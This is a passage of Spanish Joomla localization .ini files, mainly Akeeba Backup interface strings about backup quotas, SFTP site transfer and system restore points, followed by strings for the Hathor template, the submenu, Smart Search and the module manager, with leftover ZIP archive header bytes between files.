dominio. Esto mejora la prolijidad del proceso, pero aumentará el tiempo de respaldo en unos 10-20 segundos. Si activa esta opción, Akeeba Backup trabajará más rápido. Sin embargo puede experimentar un comportamiento a saltos en los pasos que se muestren en la página del respaldo." CONFIG_ADVANCED_SBPP_LABEL="Deshabilitar la interrupción de paso al finalizar" CONFIG_ADVANCED_SBPP_DESC="Akeeba Backup interrumpirá el paso a ejecutar entre subpasos de la finalización del respaldo y del post-procesado. Esto puede añadir unos 10 segundos al tiempo total del respaldo. Si activa esta opción, Akeeba Backup funcionará más rápido. Sin embargo, esto puede resultar en errores de timeout o en errores internos del servidor (Internal Server errors)." CONFIG_ADVANCED_SETTIMELIMIT_LABEL="Configurar un límite de tiempo de PHP infinito" CONFIG_ADVANCED_SETTIMELIMIT_DESC="Si su servidor no ejecuta PHP en Modo Seguro y permite el uso de set_time_limit(), Akeeba Backup intentará configurar un tiempo máximo de ejecución de PHP para mitigar el problema de los errores de timeout" CONFIG_SIZEQUOTA_VALUE_DESCRIPTION="Si el tamaño total de los archivos de respaldo tomados con el perfil en uso excede este límite, los respaldos más antiguos serán borrados del servidor.

            Consejo: Elija Personalizado e incluya su valor deseado si no está en la lista." CONFIG_COUNTQUOTA_VALUE_DESCRIPTION="Akeeba Backup Borrará ficheros antiguos de respaldo si hay más ficheros que el límite configurado aquí ¡Los respaldos con múltiples partes se consideran como un único fichero!

            Consejo: Elija Personalizado e incluya su valor deseado si no está en la lista." CONFIG_MINEXECTIME_DESCRIPTION="Cada paso de Akeeba Backup durará al menos tanto como esté definido aquí. Esto es necesario para mitigar problemas causados por las soluciones de seguridad anti-DoS. Si obtiene errores 403 Prohibido o errores AJAX, por favor, aumente este parámetro. Si lo sitúa en 0 deshabilitará esta funcionalidad.

            Consejo: Elija Personalizado e incluya su valor deseado si no está en la lista." CONFIG_MAXEXECTIME_DESCRIPTION="Cada paso de Akeeba Backup durará como máximo tanto como esté definido aquí. Utilice un valor más bajo que el máximo de su tiempo de ejecución de PHP. Normalmente ajustar este parámetro a 10 segundos es lo más adecuado, excepto en los servidores muy restrictivos

            Consejo: Elija Personalizado e incluya su valor deseado si no está en la lista." CONFIG_RUNTIMEBIAS_DESCRIPTION="Este parámetro define cómo de conservador debe ser Akeeba Backup cuando intente evitar errores de límite de tiempo (time-out). Cuanto más bajo sea este valor, más conserfador es. Si experimenta errores de límite de tiempo (time-out), por favor intente reducir el tiempo máximo de ejecución y este parámetros.Consejo: Elija Personalizado y escriba su valor deseado si no está en la lista." ;; ================================================================================ ;; Added or changed after 3.2.7 ;; ================================================================================ CONFIG_CLOUDFILESISUKACCOUNT_TITLE="¿Es una cuenta del Reino Unido?" CONFIG_CLOUDFILESISUKACCOUNT_DESCRIPTION="Si su cuenta se creó a través de http:/www.rackspace.co.uk, entonces es una cuenta del Reino Unido y debe configurar esta opción como Sí, de otro modo siempre obtendrá un error que indica que su nombre de usuario o su clave de API es incorrecta." ENGINE_ARCHIVER_DIRECTSFTP_TITLE="DirectSFTP" ENGINE_ARCHIVER_DIRECTSFTP_DESCRIPTION="Transfiere los ficheros del sitio a un servidor SFTP remoto, sin necesidad de archivarlos primero. ADVERTENCIA: El servidor desde el que hace la transferencia debe tener la extensión SSL2 de PHP instalada." CONFIG_DIRECTSFTP_HOST_TITLE="Nombre del servidor" CONFIG_DIRECTSFTP_HOST_DESCRIPTION="Por favor, introduzca el nombre del servidor o la dirección IP de su servidor SFTP" CONFIG_DIRECTSFTP_PORT_TITLE="Puerto" CONFIG_DIRECTSFTP_PORT_DESCRIPTION="El puerto habitual para las conexiones SFTP es el 22. Si su servidor está usando un puerto diferente, por favor, introdúzcalo aquí." CONFIG_DIRECTSFTP_USER_TITLE="Nombre de usuario" CONFIG_DIRECTSFTP_USER_DESCRIPTION="El nombre de usuario SFTP. Por favor, tenga en cuenta que su servidor SFTP debe permitir la autentificación por nombre de usuario/contraseña." CONFIG_DIRECTSFTP_PASSWORD_TITLE="Contraseña" CONFIG_DIRECTSFTP_PASSWORD_DESCRIPTION="La contraseña SFTP" CONFIG_DIRECTSFTP_INITDIR_TITLE="Directorio inicial" CONFIG_DIRECTSFTP_INITDIR_DESCRIPTION="Por favor, introduzca el directorio donde se subirán los ficheros. Si no está seguro utilice un programa de SFTP, conéctese a su servidor, navegue hasta el directorio deseado y copie la ruta que se muestre en el programa. La ruta debe introducirse en formato absoluto, ej. /users/nombredeusuario/public_html" CONFIG_DIRECTSFTP_TEST_DIALOG_TITLE="Prueba de conexión SFTP" CONFIG_DIRECTSFTP_TEST_OK="Se ha conectaco correctamente al servidor SFTP remoto. Nota: El directorio inicial no ha sido probado." CONFIG_DIRECTSFTP_TEST_FAIL="No se pudo conectar al servidor SFTP remoto. El mensaje de error fue:" CONFIG_DIRECTSFTP_TEST_TITLE="Probar la conexión SFTP" CONFIG_DIRECTSFTP_TEST_DESCRIPTION="Use este botón para probar la conexión SFTP y ver los errores de conexión en caso de fallo." CONFIG_DIRECTSFTP_PLEASE_WAIT="Por favor espere; se está haciendo la prueba de conexión SFTP" CONFIG_SCAN_SMART_METHOD_TITLE="Directory listing method" CONFIG_SCAN_SMART_METHOD_DESC="Choose the method used by Akeeba Backup to list the contents of your directories. If you get missing files in your backups, please use the "Alternate (failsafe)"e; method". CONFIG_SCAN_SMART_METHOD_OPENDIR="Regular (fast)" CONFIG_SCAN_SMART_METHOD_DIR="Alternate (failsafe)" STATS_LABEL_ORIGIN_RESTOREPOINT="Restore Point" ; Site Transfer Wizard, added in Akeeba Backup 3.3 SITETRANSFERWIZARD="Asistente de transferencia de sitios" STW_LBL_STEP1="Paso 1: Elija su perfil" STW_LBL_STEP2="Paso 2: Elija su configuración de transferencia" STW_LBL_STEP3="Paso 3: Transfiera su sitio" STW_LBL_NEXT="Siguiente" STW_LBL_STEP1_INTRO="Es necesario crear un perfil específico "Asistente de transferencia de sitios". ¿De dónde quiere que provenga la configuración de este perfil?" STW_PROFILE_STW="Usar el perfil existente" STW_PROFILE_COPYFROM="Copiar la configuración de" STW_PROFILE_BLANK="Crear un nuevo perfil, reinicializando la configuración a la usada por defecto" STW_PROFILE_ERR_COULDNOTCREATESTWPROFILE="Error inesperado: no se pudo crear el perfil "Asistente de transferencia de sitios"" STW_PROFILE_MSG_COPIED="La configuración del perfil "%s" fue copiada correctamente al perfil "Asistente de transferencia de sitios"" STW_PROFILE_MSG_RESET="La configuración del perfil "Asistente de transferencia de sitios" ha sido reinicializada" STW_PROFILE_MSG_NEW="Crear un nuevo perfil "Asistente de transferencia de sitios"" STW_LBL_STEP2_INTRO="Especifique la configuración de conexión al sitio remoto al que será transferido el sitio" STW_LBL_CONNECTION_TYPE="Método de conexión" STW_LBL_CONNECTION_TYPE_FTP="FTP, no encriptado" STW_LBL_CONNECTION_TYPE_FTPS="FTP sobre SSL (FTPS)" STW_LBL_CONNECTION_TYPE_SFTP="Transferencia segura de archivos sobre SSH (SFTP)" STW_LBL_CONNECTION_HOST="Nombre del host" STW_LBL_CONNECTION_PORT="Puerto" STW_LBL_CONNECTION_USERNAME="Nombre de usuario" STW_LBL_CONNECTION_PASSWORD="Contraseña" STW_LBL_CONNECTION_PASSIVE="Usar modo pasivo" STW_LBL_CONNECTION_DIRECTORY="Directorio FTP/FTPS/SFTP a la raíz del sitio remoto" STW_LBL_CONNECTION_URL="URL del sitio remoto" STW_LBL_CONNECTION_ERR_CONNECTION="No se pudo conectar con el sitio remoto. El error fue el siguiente:" STW_LBL_CONNECTION_ERR_UPLOAD="No se pudo subir un archivo de prueba al sitio remoto. El error fue el siguiente:" STW_LBL_CONNECTION_ERR_HOST="Su directorio FTP/FTPS/SFTP no se definió correctamente. Será redirigido de vuelta a la página anterior para corregirlo. Si tiene alguna duda acerca de qué significa este mensaje, por favor lea la documentación." STW_LBL_STEP3_INTROA="Si quiere realizar más cambios a la configuración avanzada, p. ej. excluir directorios o tablas, haga clic en el botón que hay a continuación para acceder al Panel de Control de Akeeba Backup. Use el botón del Asistente de transferencia de sitios para volver aquí y continuar con la transferencia del sitio." STW_LBL_STEP3_INTROB="Haga clic en el botón Transferir para transferir su sitio al servidor remoto. Tras la transferencia será automáticamente redirigido a la página de instalación para completar la instalación del sitio en el servidor remoto. ¡Recuerde eliminar el directorio installation al completar la instalación!" STW_LBL_STEP3_LBL_CONTROLPANEL="Visite el Panel de Control para acceder a las configuraciones avanzadas" STW_LBL_STEP3_LBL_TRANSFER="Iniciar la transferencia del sitio" ; System Restore Point roll-back (srprestore) SRPRESTORATION="Vuelta al punto de restauración" RESTORE_ERROR_NOT_AN_SRP="El respaldo especificado no se corresponde con ningún punto de restauración conocido" SRPRESTORE_INFO_LBL="Información sobre la vuelta" SRPRESTORE_INFO_EXTTYPE="Tipo de la Extensión" SRPRESTORE_INFO_EXTNAME="Nombre de la Extensión" SRPRESTORE_INFO_VERSIONANDDATE="Versión y Fecha" SRPRESTORE_INFO_SRPDATE="Fecha del punto de restauración" RESTORE_LABEL_DONOTCLOSE_DB="No cierre esta ventana o navegue a otra página mientras que se esté haciendo la restauración de la base de datos" RESTORE_LABEL_INPROGRESS_DB="Restauración del contenido de la base de datos en progreso" RESTORE_LABEL_SRP_COMPLETE_TITLE="La vuelta al punto de restauración del sistema se ha completado" RESTORE_LABEL_SRP_COMPLETE_BODY="Akeeba Backup ha terminado de volver su sistema al punto de restauración del sistema. Ahora puede pinchar el botón de volver en la barra de herramientas y volver a la página principal de Akeeba Backup." BUADMIN_LABEL_BACKUPS="Respaldos" BUADMIN_LABEL_SRP="Puntos de restauración" BUADMIN_LABEL_SRPRESTORE="Vuelta a un punto anterior (restauración)" BUADMINSRP="Administrar los puntos de restauración" BUADMIN_LABEL_VERSION="Versión" BUADMIN_LABEL_DATE="Fecha de lanzamiento" STATS_LABEL_STARTSRP="Tomado en" INSTALLER_ENHANCEDBY="Instalación de extensiones mejorada por" INSTALLER_SWITCHTOREGULAR="Volver al instalador estándar" INSTALLER_WHATSTHIS="¿Qué es esto?" INSTALLER_WHATSTHIS_TEXT="Akeeba Backup ha sobreescrito el instalador de extensiones de Joomla! con su propia versión. La versión de Akeeba Backup le permite tomar puntos de restauración de forma automática cuando actualice extensiones. Estos puntos de restauración pueden usarse para restaurar la versión anterior de las extensiones en caso de que que la actualización haga que deje de funcionar correctamente. Puede desactivar temporalmente esta característica pinchando en el enlace de "Volver al instalador estándar". Si quiere desactivar esta característica para siempre, por favor, desactive el plugin "System - System Restore Points"." Q004="memory_limit de PHP demasiado bajo" CONFIG_S3LOWERCASE_TITLE="Nombre del cubo en minúsculas" CONFIG_S3LOWERCASE_DESCRIPTION="Si está habilitado, Akeeba Backup intentará cambiar el nombre del cubo a letras minúsculas, ej. MiCubo se convertirá enmicubo. Si ha creado un cubo con letras máyúsculas, ej. MiNuevoCubo, deseleccione esta opción y asegúrese que el nombre del cubo está escrito tal cual aparece en su panel de administración de S3." CONFIG_USEDBSTORAGE_TITLE="Usar almacenamiento en la base de datos para los datos temporales" CONFIG_USEDBSTORAGE_DESCRIPTION="Normalmente Akeeba Backup usará ficheros dentro de su directorio temporal para almacenar datos temporales entre pasos del respaldo. Cuando esta opción está activa, Akeeba Backup usará registros de la base de datos en su lugar. En algunos servidores de baja calidad, esta opción puede causar errores de "MySQL server ha caído" o "MySQL sobrepasado el límite de consultas" durante el respaldo." ;; Added after 3.3.a2 AKEEBASRP="Punto de restauración del sistema ejecutándose" ;; Added or changed after 3.3.b1 AKEEBA_POSTSETUP="Configuración tras la instalación" AKEEBA_POSTSETUP_LBL_WHATTHIS="¡Bienvenido a su nueva instalación de Akeeba Backup! Akeeba Backup puede configurarse con algunas características opcionales. Por favor elija cuáles de ellas quiere activar en su sitio. Esta página aparecerá cada vez que acabe de instalar una nueva versión de Akeeba Backup." AKEEBA_POSTSETUP_LBL_SRP="Activar los Puntos de Restauración del Sistema" AKEEBA_POSTSETUP_DESC_SRP="Si lo activa, Akeeba Backup sobreescribirá el comportamiento del instalador de extensiones de Joomla!. Cuando reinstale o actualice alguna extensión, se creará automáticamente un pequeño respaldo de los ficheros y datos de esa extensión, llamado Punto de Restauración del Sistema. Si la actualización no funcionara adecuadamente, podrá ir a la administración de los ficheros de respaldo, pulsar en los puntos de restauración y volver a la versión anterior de la extensión con tan sólo un click. Si quiere desactivar esta carctersítica, por favor, despublique el plugin "System - System Restore Points" usando el administrador de Plugins de Joomla!" AKEEBA_POSTSETUP_LBL_AUTOUPDATE="Activar el envío automático de emails de actualización de Akeeba Backup" AKEEBA_POSTSETUP_DESC_AUTOUPDATE="Si lo activa, Akeeba Backup comprobará regularmente si hay nuevas versiones. Cuando las haya, le enviará a los super administradores del sitio un email con un enlace. Pinchar en el enlace les logueará automáticamenet en el sitio y actualizará Akeeba Backup. La comprobación de nuevas versiones se realizará una vez cada 3 horas. Recibirá tan sólo un email por día hasta que instale la nueva versión de Akeeba Backup. Puede apagar esta característica despublicando el plugin de "System - Akeeba Backup Update Check" usando el administrador de Plugins de Joomla!" AKEEBA_POSTSETUP_LBL_CONFWIZ="Ejecutar el asistente de configuración" AKEEBA_POSTSETUP_DESC_CONFWIZ="Si lo activa, será redirigido a nuestro asistente de configuración que reconfigurará automáticamente Akeeba Backup con los parámetros óptimos para su servidor. Si no es la primera instalación de Akeeba Backup, por favor, desmarque esta casilla ya que ¡sobreescribirá su configuración!" AKEEBA_POSTSETUP_LBL_APPLY="Apply these preferences" CPANEL_SCHEMAERROR_TITLE="Las tablas de su base de datos están corruptas" CPANEL_SCHEMAERROR_BODY="Akeeba Backup ha detectado que las tablas de su base de datos están corruptas. Esto indica que hay un problema con su servidor MySQL. Por favor, asegúrese de que su servidor tiene al menos MySQL 4.1 (se recomienda la versión 5.0 o superior). Después intente desinstalar y reinstalar el componente. No se podrán hacer respaldos hasta que solucione este problema." DISCOVER="Importar archivos" AKEEBA_TRANSFER_TITLE="Transferir archivo" AKEEBA_TRANSFER_DESC="Transfire el archivo ejecutando el motor de procesado posterior "%s" sobre el archivo." AKEEBA_TRANSFER_ERR_INVALIDID="El ID de subida especificado no es válido" AKEEBA_TRANSFER_MSG_START="Preparandose para subir su fichero. Esto tomará algún tiempo, por favor, espere" AKEEBA_TRANSFER_MSG_UPLOADINGPART="Subiendo la parte %s of %s del fichero; por favor, espere." AKEEBA_TRANSFER_MSG_UPLOADINGFRAG="Continuando con la subida de la parte %s of %s del fichero; por favor, espere." AKEEBA_TRANSFER_MSG_DONE="¡La subida se ha completado!" AKEEBA_TRANSFER_MSG_FAILED="La subida de su archivo falló." CONFIG_LIVEUPDATE_MINSTABILITY_LABEL="Estabilidad mínima de la versión para notificar la actualización" CONFIG_LIVEUPDATE_MINSTABILITY_DESC="Elija la estabilidad mínima de un versión para la que se le notificará que la actualización está disponible. Por favor utilice sólo RC y Estable para sitios críticos. Ayúdenos a probar las versiones de Akeeba Backup releases en sitios en funcionamiento instalando versiones alfa y beta." AKEEBA_STABILITY_ALPHA="Alfa" AKEEBA_STABILITY_BETA="Beta" AKEEBA_STABILITY_RC="Versión candidata" AKEEBA_STABILITY_STABLE="Estable" BACKUP_LABEL_DOMAIN_PACKING_STW="Transfiriendo ficheros al servidor remoto" STW_MSG_CONTINUE="La transferencia de su sitio casi ha sido completada. Pinche en el botón de OK para ir a su nuevo sitio, ejecute el script de restauración y termine la restauración de la base de datos de susitio y configúrelo. Recuerde pinchar el enlace para eliminar el directorio de instalación en la última página del script de restauración." ;; Added or changed after 3.3.b1 CONFIG_MAXAGEQUOTA_ENABLE_TITLE="Activar cuotas de edad máxima de respaldo" CONFIG_MAXAGEQUOTA_ENABLE_DESCRIPTION="Elimina automáticamente respaldos antiguos, basándose en el día en el que fueron tomados. AVISO: ACTIVAR ESTA OPCIÓN HARÁ QUE SE IGNOREN EL RESTO DE CONFIGURACIONES DE CUOTAS (NÚMERO Y TAMAÑO)." CONFIG_MAXAGEQUOTA_MAXDAYS_TITLE="Edad máxima del respaldo, en días" CONFIG_MAXAGEQUOTA_MAXDAYS_DESCRIPTION="Los respaldos con una edad superior a este número de días serán automáticamente eliminados. Déjelo en la configuración por defecto, 31, para mantener todos los respaldos del último mes" CONFIG_MAXAGEQUOTA_KEEPDAY_TITLE="No eliminar respaldos tomados en este día del mes" CONFIG_MAXAGEQUOTA_KEEPDAY_DESCRIPTION="Los respaldos tomados en este día del mes no serán eliminados. Déjelo en la configuración por defecto, 1, para preservar siempre los respaldos tomados el primer día del mes" CONFIG_SRPSIZEQUOTA_VALUE_TITLE="Cuota de los puntos de restauración del sistema" CONFIG_SRPSIZEQUOTA_VALUE_DESCRIPTION="Tamaño máximo de los archivos de puntos de restauración del sistema almacenados en su servidor" ;; Added or changed after 3.3.3 BUADMIN_LABEL_HOWDOIRESTORE_LEGEND="¿Cómo restauro mis respaldos?" BUADMIN_LABEL_HOWDOIRESTORE_TEXT="¡Es fácil! Puede leer el capítulo de restauración de nuestra guía de inicio rápido o ver nuestro videotutorial." BACKUP_TEXT_RTFMTOSOLVE="Le recomendamos encarecidamente que siga las instrucciones paso a paso de nuestro asistente en caso de problemas para que pueda resolver fácilmenete este problema usted mismo." BACKUP_TEXT_SOLVEISSUE_PRO="Si esto no ayuda, por favor, no dude en buscar asistencia en nuestro foro de soporte. Tenga en cuenta que necesita una suscripción activa para solicitar asistencia a través del foro. Si la instalación de Akeeba Backup Professional en su sitio fue a cargo de otra persona -ej. su desarrollador web- por favor, no busque soporte en AkeebaBackup.com. Por el contrario, contacte con la persona que le instaló el software en su sitio y solicítele la asistencia necesaria para resolver el problema." BACKUP_TEXT_SOLVEISSUE_CORE="Si esto no le ayuda, puede considerar comprar una suscripción al FORUMACCESS para que pueda solicitar asistencia en nuestro foro de soporte." BACKUP_TEXT_SOLVEISSUE_LOG="Si busca asistencia en el foro, por favor, recuerde comprimir en formato ZIP y adjunter el registro (log) de su fichero de respaldo en su mensaje para que podamos atenderle más rápidamente." BACKUP_TEXT_PLEASEWAITFORREDIRECTION="Por favor espere; está siendo redirigido a la página siguiente.
            Esto puede llevar entre 5-30 segundos, en función de su conexión a internet." BACKUP_HEADER_BACKUPWITHRETURNURLFINISHED="El proceso se ha completado con éxito" PK@y>\Gm'language/es-ES/es-ES.tpl_hathor.sys.ininuW+A; $Id: es-ES.tpl_hathor.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! HATHOR="Hathor: plantilla de la administración" TPL_HATHOR_POSITION_CP_SHELL="Sin usar" TPL_HATHOR_POSITION_CPANEL="Panel de control" TPL_HATHOR_POSITION_DEBUG="Depurador" TPL_HATHOR_POSITION_FOOTER="Pie de página" TPL_HATHOR_POSITION_ICON="Enlaces rápidos" TPL_HATHOR_POSITION_LOGIN="Conectar" TPL_HATHOR_POSITION_MENU="Menú" TPL_HATHOR_POSITION_STATUS="Estado" TPL_HATHOR_POSITION_SUBMENU="Submenú" TPL_HATHOR_POSITION_TITLE="Título" TPL_HATHOR_POSITION_TOOLBAR="Barra de herramientas" TPL_HATHOR_XML_DESCRIPTION="Hathor es una plantilla de la administración para Joomla! El archivo CSS de alto contraste también puede usarse para personalizar la gama de colores." PK@y>\  (language/es-ES/es-ES.mod_submenu.sys.ininuW+A; $Id: es-ES.mod_submenu.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_SUBMENU="Submenú de la adminsitración" MOD_SUBMENU_XML_DESCRIPTION="Este módulo muestra el submenú de navegación" MOD_SUBMENU_LAYOUT_DEFAULT="Predeterminado" PK@y>\0,  'language/es-ES/es-ES.com_finder.sys.ininuW+A; $Id: es-ES.com_finder.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_FINDER="Búsqueda inteligente" COM_FINDER_XML_DESCRIPTION="Búsqueda inteligente" COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TEXT="La presentación predeterminada de búsqueda." COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TITLE="Buscar" COM_FINDER_SEARCH_FILTER_SEARCH_LABEL="Filtro de búsqueda" COM_FINDER_SEARCH_FILTER_SEARCH_DESC="Seleccionando un filtro de búsqueda se puede limitar a usar ese flitro para cualquier consulta enviada." COM_FINDER_SEARCH_SEARCH_QUERY_LABEL="Consulta de búsqueda" COM_FINDER_SEARCH_SEARCH_QUERY_DESC="Introduciendo los términos de búsqueda hará que este elemento del menú devuelva automáticamente los resultados para esos términos predefinidos." COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL="Longitud de la descripción" COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESC="La longitud de la descripción para los resultados de búsqueda se puede trocear a la longitud de los caracteres especificados." COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL="Expandir la búsqueda avanzada" COM_FINDER_CONFIG_EXPAND_ADVANCED_DESC="Determine si las opciones de búsqueda avanzada deben expandirse predeterminadamente." COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL="Búsqueda avanzada" COM_FINDER_CONFIG_SHOW_ADVANCED_DESC="Determine si los usuarios podrán ver las opciones de búsqueda avanzada." COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL="Descripción del resultado" COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESC="Determine si se debe mostrar la descripción con los resultados de búsqueda." COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL="Filtros de fecha" COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESC="Mostrar los filtros de fecha de inicio y finalización en el buscador avanzado." COM_FINDER_CONFIG_SHOW_URL_LABEL="URL del resultado" COM_FINDER_CONFIG_SHOW_URL_DESC="Mostrar la URL asociada con ese elemento." COM_FINDER_CONFIG_SHOW_FEED_LABEL="Mostrar noticias sindicadas" COM_FINDER_CONFIG_SHOW_FEED_DESC="Muestra el enlace de sindicación" COM_FINDER_CONFIG_SHOW_FEED_TEXT_LABEL="Mostrar el texto sindicado" COM_FINDER_CONFIG_SHOW_FEED_TEXT_DESC="Muestra el texto asociado con la noticia sindicada, en otro caso, solo muestra el título." COM_FINDER_SELECT_SEARCH_FILTER="Seleccionar filtro" COM_FINDER_ALLOW_EMPTY_QUERY_LABEL="permitir búsquedas vacías" COM_FINDER_ALLOW_EMPTY_QUERY_DESC="Solo se permitirán búsquedas vacías si es para ir seleccionando filtros entre los que delimitar la búsqueda." COM_FINDER_CONFIG_SORT_DIRECTION_DESC="La dirección en la que ordenar los resultados de búsqueda." COM_FINDER_CONFIG_SORT_DIRECTION_LABEL="Orden de dirección" COM_FINDER_CONFIG_SORT_ORDER_DESC="El campo con el que se ordenarán los resultados de búsqueda." COM_FINDER_CONFIG_SORT_ORDER_LABEL="Campo de ordenación" COM_FINDER_CONFIG_SORT_OPTION_ASCENDING="Ascendente" COM_FINDER_CONFIG_SORT_OPTION_DESCENDING="Descendente" COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE="Tarifa" COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE="Relevancia" COM_FINDER_CONFIG_SORT_OPTION_START_DATE="Fecha" PK@y>\Ԗ2language/es-ES/es-ES.plg_finder_categories.sys.ininuW+A; $Id: es-ES.plg_finder_categories.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_FINDER_CATEGORIES="Búsquedas inteligentes - Categorías" PLG_FINDER_CATEGORIES_ERROR_ACTIVATING_PLUGIN="No se ha podido activar automáticamente el plugin "_QQ_"Búsquedas inteligentes - Categorías"_QQ_"" PLG_FINDER_CATEGORIES_XML_DESCRIPTION="Este plugin indexa las categorías de Joomla!" PK@y>\'$language/es-ES/es-ES.mod_submenu.ininuW+A; $Id: es-ES.mod_submenu.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_SUBMENU="Submenú de la administración" MOD_SUBMENU_XML_DESCRIPTION="Este módulo muestra el submenú de navegación" PK@y>\+@m+m+$language/es-ES/es-ES.com_modules.ininuW+A; $Id: es-ES.com_modules.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2015 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_MODULES="Gestor de módulos" COM_MODULES_ADVANCED_FIELDSET_LABEL="Opciones avanzadas" COM_MODULES_ASSIGNED_VARIES_EXCEPT="En todas excepto en las seleccionadas" COM_MODULES_ASSIGNED_VARIES_ONLY="Solo en las seleccionadas" COM_MODULES_BASIC_FIELDSET_LABEL="Opciones básicas" COM_MODULES_BATCH_POSITION_LABEL="Asignar la posición" COM_MODULES_BATCH_POSITION_NOCHANGE="Mantener la posición original" COM_MODULES_BATCH_POSITION_NOPOSITION="Sin posición de módulo" COM_MODULES_BATCH_OPTIONS="Procesar por lotes los módulos seleccionados" COM_MODULES_BATCH_TIP="Si se ha elegido copiar un módulo, se aplicará cualquier otra acción seleccionada en el módulo a copiar. En otro caso, se aplicarán todas las acciones al módulo." COM_MODULES_CHANGE_POSITION_BUTTON="Seleccionar posición" COM_MODULES_CHANGE_POSITION_TITLE="Cambiar posición" COM_MODULES_CONFIGURATION="Opciones del gestor de módulos" COM_MODULES_CUSTOM_OUTPUT="Salida personalizada" COM_MODULES_ERR_XML="Datos XML del módulo no disponibles" COM_MODULES_ERROR_CANNOT_FIND_MODULE="No se puede encontrar el módulo" COM_MODULES_ERROR_CANNOT_GET_MODULE="No se puede obtener el módulo" COM_MODULES_ERROR_INVALID_EXTENSION="Módulo inválido" COM_MODULES_ERROR_NO_MODULES_SELECTED="Sin módulos seleccionados" COM_MODULES_EXTENSION_PUBLISHED_DISABLED="Módulo deshabilitado y publicado" COM_MODULES_EXTENSION_PUBLISHED_ENABLED="Módulo habilitado y publicado" COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED="Módulo deshabilitado y despublicado" COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED="Módulo habilitado y despublicado" COM_MODULES_FIELD_AUTOMATIC_TITLE_LABEL="Título automático" COM_MODULES_FIELD_AUTOMATIC_TITLE_DESC="Seleccione 'Sí', si desea que se asigne un título traducido automáticamente. Se usa dependiendo de la plantilla de la administración" COM_MODULES_FIELD_CACHE_TIME_DESC="El tiempo de duración de la caché, en segundos, para el módulo antes de actualizarse" COM_MODULES_FIELD_CACHE_TIME_LABEL="Duración de la caché" COM_MODULES_FIELD_CACHING_DESC="Seleccione si el contenido de este módulo usará la caché" COM_MODULES_FIELD_CACHING_LABEL="Caché" COM_MODULES_FIELD_CLIENT_ID_DESC="La ubicación del módulo: sitio o administración. Este valor no se puede cambiar." COM_MODULES_FIELD_CLIENT_ID_LABEL="Ubicación del módulo" COM_MODULES_FIELD_CONTENT_DESC="Texto" COM_MODULES_FIELD_CONTENT_LABEL="Texto" COM_MODULES_FIELD_MODULE_DESC="Tipo de módulo" COM_MODULES_FIELD_MODULE_LABEL="Tipo de módulo" COM_MODULES_FIELD_MODULECLASS_SFX_DESC="Un sufijo que aplicar en la clase CSS del módulo. Permite el estilo personalizado e individual del módulo." COM_MODULES_FIELD_MODULECLASS_SFX_LABEL="Clase CSS del módulo" COM_MODULES_FIELD_NOTE_DESC="Se permite usar una nota adicional a mostrar en la lista de módulos." COM_MODULES_FIELD_NOTE_LABEL="Nota" COM_MODULES_FIELD_POSITION_DESC="Puede seleccionar una posición predeterminada de módulo desde la lista de selección desplegable, o introducir su propia posición de módulo, escribiendo el nombre de posición directamente en el campo y guardando." COM_MODULES_FIELD_POSITION_LABEL="Posición" COM_MODULES_FIELD_PUBLISH_DOWN_DESC="Una fecha opcional de finalización de públicación del módulo." COM_MODULES_FIELD_PUBLISH_DOWN_LABEL="Finalización de la publicación" COM_MODULES_FIELD_PUBLISH_UP_DESC="Una fecha opcional de inicio de publicación del módulo." COM_MODULES_FIELD_PUBLISH_UP_LABEL="Inicio de la publicación" COM_MODULES_FIELD_PUBLISHED_DESC="Si está publicado, dependiendo del tipo de módulo, se mostrará en la administración o en el sitio." COM_MODULES_FIELD_SHOWTITLE_DESC="Mostrar u ocultar el título del módulo en la pantalla. El efecto dependerá del estilo de cada plantilla." COM_MODULES_FIELD_SHOWTITLE_LABEL="Mostrar el título" COM_MODULES_FIELD_TITLE_DESC="Debe tener un título" COM_MODULES_FIELD_VALUE_NOCACHING="Sin caché" COM_MODULES_FILTER_SEARCH_DESC="Filtrar por nombre de posición." COM_MODULES_HEADING_MODULE="Tipo" COM_MODULES_HEADING_PAGES="Páginas" COM_MODULES_HEADING_POSITION="Posición" COM_MODULES_HEADING_TEMPLATES="Plantillas" 